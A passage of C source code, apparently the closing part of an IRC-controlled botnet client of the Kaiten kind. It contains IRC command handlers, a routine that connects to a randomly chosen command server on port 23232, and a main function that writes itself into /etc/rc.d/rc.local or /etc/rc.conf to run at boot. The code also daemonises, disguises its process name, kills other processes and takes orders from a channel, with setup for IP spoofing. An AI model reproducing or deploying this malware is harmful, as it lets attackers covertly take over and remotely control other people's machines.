  717.         Send(sock,"PONG %s\n",str);
  718. }
  719. void _352(int sock, char *sender, char *str) {
  720.         int i,d;
  721.         char *msg=str;
  722.         struct hostent *hostm;
  723.         unsigned long m;
  724.         for (i=0,d=0;d<5;d++) {
  725.                 for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
  726.                 if (i == strlen(str)) return;
  727.         }
  728.         for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
  729.         msg[i]=0;
  730.         if (!strcasecmp(msg,nick) && !spoofsm) {
  731.                 msg=str;
  732.                 for (i=0,d=0;d<3;d++) {
  733.                         for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
  734.                         if (i == strlen(str)) return;
  735.                 }
  736.                 for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
  737.                 msg[i]=0;
  738.                 if ((m = inet_addr(msg)) == -1) {
  739.                         if ((hostm=gethostbyname(msg)) == NULL) {
  740.                                 Send(sock,"NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.\n",chan);
  741.                                 return;
  742.                         }
  743.                         memcpy((char*)&m, hostm->h_addr, hostm->h_length);
  744.                 }
  745.                 ((char*)&spoofs)[3]=((char*)&m)[0];
  746.                 ((char*)&spoofs)[2]=((char*)&m)[1];
  747.                 ((char*)&spoofs)[1]=((char*)&m)[2];
  748.                 ((char*)&spoofs)[0]=0;
  749.                 spoofsm=256;
  750.         }
  751. }
  752. void _433(int sock, char *sender, char *str) {
  753.         free(nick);
  754.         nick=makestring();
  755. }
  756. void _NICK(int sock, char *sender, char *str) {
  757.         int i;
  758.         for (i=0;i<strlen(sender) && sender[i] != '!';i++);
  759.         sender[i]=0;
  760.         if (!strcasecmp(sender,nick)) {
  761.                 if (*str == ':') str++;
  762.                 if (nick) free(nick);
  763.                 nick=strdup(str);
  764.         }
  765. }
  766. struct Messages { char *cmd; void (* func)(int,char *,char *); } msgs[] = {
  767.         { "352", _352 },
  768.         { "376", _376 },
  769.         { "433", _433 },
  770.         { "422", _376 },
  771.         { "PRIVMSG", _PRIVMSG },
  772.         { "PING", _PING },
  773.         { "NICK", _NICK },
  774. { (char *)0, (void (*)(int,char *,char *))0 } };
  775. void con() {
  776.         struct sockaddr_in srv;
  777.         unsigned long ipaddr,start;
  778.         int flag;
  779.         struct hostent *hp;
  780. start:
  781.         sock=-1;
  782.         flag=1;
  783.         if (changeservers == 0) server=servers[rand()%numservers];
  784.         changeservers=0;
  785.         while ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0);
  786.         if (inet_addr(server) == 0 || inet_addr(server) == -1) {
  787.                 if ((hp = gethostbyname(server)) == NULL) {
  788.                         server=NULL;
  789.                         close(sock);
  790.                         goto start;
  791.                 }
  792.                 bcopy((char*)hp->h_addr, (char*)&srv.sin_addr, hp->h_length);
  793.         }
  794.         else srv.sin_addr.s_addr=inet_addr(server);
  795.         srv.sin_family = AF_INET;
  796.         srv.sin_port = htons(23232);
  797.         ioctl(sock,FIONBIO,&flag);
  798.         start=time(NULL);
  799.         while(time(NULL)-start < 10) {
  800.                 errno=0;
  801.                 if (connect(sock, (struct sockaddr *)&srv, sizeof(srv)) == 0 || errno == EISCONN) {
  802.                         setsockopt(sock,SOL_SOCKET,SO_LINGER,0,0);
  803.                         setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,0,0);
  804.                         setsockopt(sock,SOL_SOCKET,SO_KEEPALIVE,0,0);
  805.                         return;
  806.                 }
  807.                 if (!(errno == EINPROGRESS ||errno == EALREADY)) break;
  808.                 sleep(1);
  809.         }
  810.         server=NULL;
  811.         close(sock);
  812.         goto start;
  813. }
  814. int main(int argc, char **argv) {
  815.         int on,i;
  816.         char cwd[256],*str;
  817.         FILE *file;
  818. #ifdef STARTUP
  819.         str="/etc/rc.d/rc.local";
  820.         file=fopen(str,"r");
  821.         if (file == NULL) {
  822.                 str="/etc/rc.conf";
  823.                 file=fopen(str,"r");
  824.         }
  825.         if (file != NULL) {
  826.                 char outfile[256], buf[1024];
  827.                 int i=strlen(argv[0]), d=0;
  828.                 getcwd(cwd,256);
  829.                 if (strcmp(cwd,"/")) {
  830.                         while(argv[0][i] != '/') i--;
  831.                         sprintf(outfile,"\"%s%s\"\n",cwd,argv[0]+i);
  832.                         while(!feof(file)) {
  833.                                 fgets(buf,1024,file);
  834.                                 if (!strcasecmp(buf,outfile)) d++;
  835.                         }
  836.                         if (d == 0) {
  837.                                 FILE *out;
  838.                                 fclose(file);
  839.                                 out=fopen(str,"a");
  840.                                 if (out != NULL) {
  841.                                         fputs(outfile,out);
  842.                                         fclose(out);
  843.                                 }
  844.                         }
  845.                         else fclose(file);
  846.                 }
  847.                 else fclose(file);
  848.         }
  849. #endif
  850.         if (fork()) exit(0);
  851. #ifdef FAKENAME
  852.         strncpy(argv[0],FAKENAME,strlen(argv[0]));
  853.         for (on=1;on<argc;on++) memset(argv[on],0,strlen(argv[on]));
  854. #endif
  855.         srand((time(NULL) ^ getpid()) + getppid());
  856.         nick=makestring();
  857.         ident=makestring();
  858.         user=makestring();
  859.         chan=CHAN;
  860.         key=KEY;
  861.         server=NULL;
  862. sa:
  863. #ifdef IDENT
  864.         for (i=0;i<numpids;i++) {
  865.                 if (pids[i] != 0 && pids[i] != getpid()) {
  866.                         kill(pids[i],9);
  867.                         waitpid(pids[i],NULL,WNOHANG);
  868.                 }
  869.         }
  870.         pids=NULL;
  871.         numpids=0;
  872.         identd();
  873. #endif
  874.         con();
  875.         Send(sock,"NICK %s\nUSER %s localhost localhost :%s\n",nick,ident,user);
  876.         while(1) {
  877.                 unsigned long i;
  878.                 fd_set n;
  879.                 struct timeval tv;
  880.                 FD_ZERO(&n);
  881.                 FD_SET(sock,&n);
  882.                 tv.tv_sec=60*20;
  883.                 tv.tv_usec=0;
  884.                 if (select(sock+1,&n,(fd_set*)0,(fd_set*)0,&tv) <= 0) goto sa;
  885.                 for (i=0;i<numpids;i++) if (waitpid(pids[i],NULL,WNOHANG) > 0) {
  886.                         unsigned int *newpids,on;
  887.                         for (on=i+1;on<numpids;on++) pids[on-1]=pids[on];
  888.                         pids[on-1]=0;
  889.                         numpids--;
  890.                         newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
  891.                         for (on=0;on<numpids;on++) newpids[on]=pids[on];
  892.                         free(pids);
  893.                         pids=newpids;
  894.                 }
  895.                 if (FD_ISSET(sock,&n)) {
  896.                         char buf[4096], *str;
  897.                         int i;
  898.                         if ((i=recv(sock,buf,4096,0)) <= 0) goto sa;
  899.                         buf[i]=0;
  900.                         str=strtok(buf,"\n");
  901.                         while(str && *str) {
  902.                                 char name[1024], sender[1024];
  903.                                 filter(str);
  904.                                 if (*str == ':') {
  905.                                         for (i=0;i<strlen(str) && str[i] != ' ';i++);
  906.                                         str[i]=0;
  907.                                         strcpy(sender,str+1);
  908.                                         strcpy(str,str+i+1);
  909.                                 }
  910.                                 else strcpy(sender,"*");
  911.                                 for (i=0;i<strlen(str) && str[i] != ' ';i++);
  912.                                 str[i]=0;
  913.                                 strcpy(name,str);
  914.                                 strcpy(str,str+i+1);
  915.                                 for (i=0;msgs[i].cmd != (char *)0;i++) if (!strcasecmp(msgs[i].cmd,name)) msgs[i].func(sock,sender,str);
  916.                                 if (!strcasecmp(name,"ERROR")) goto sa;
  917.                                 str=strtok((char*)NULL,"\n");
  918.                         }
  919.                 }
  920.         }
  921.         return 0;
  922. }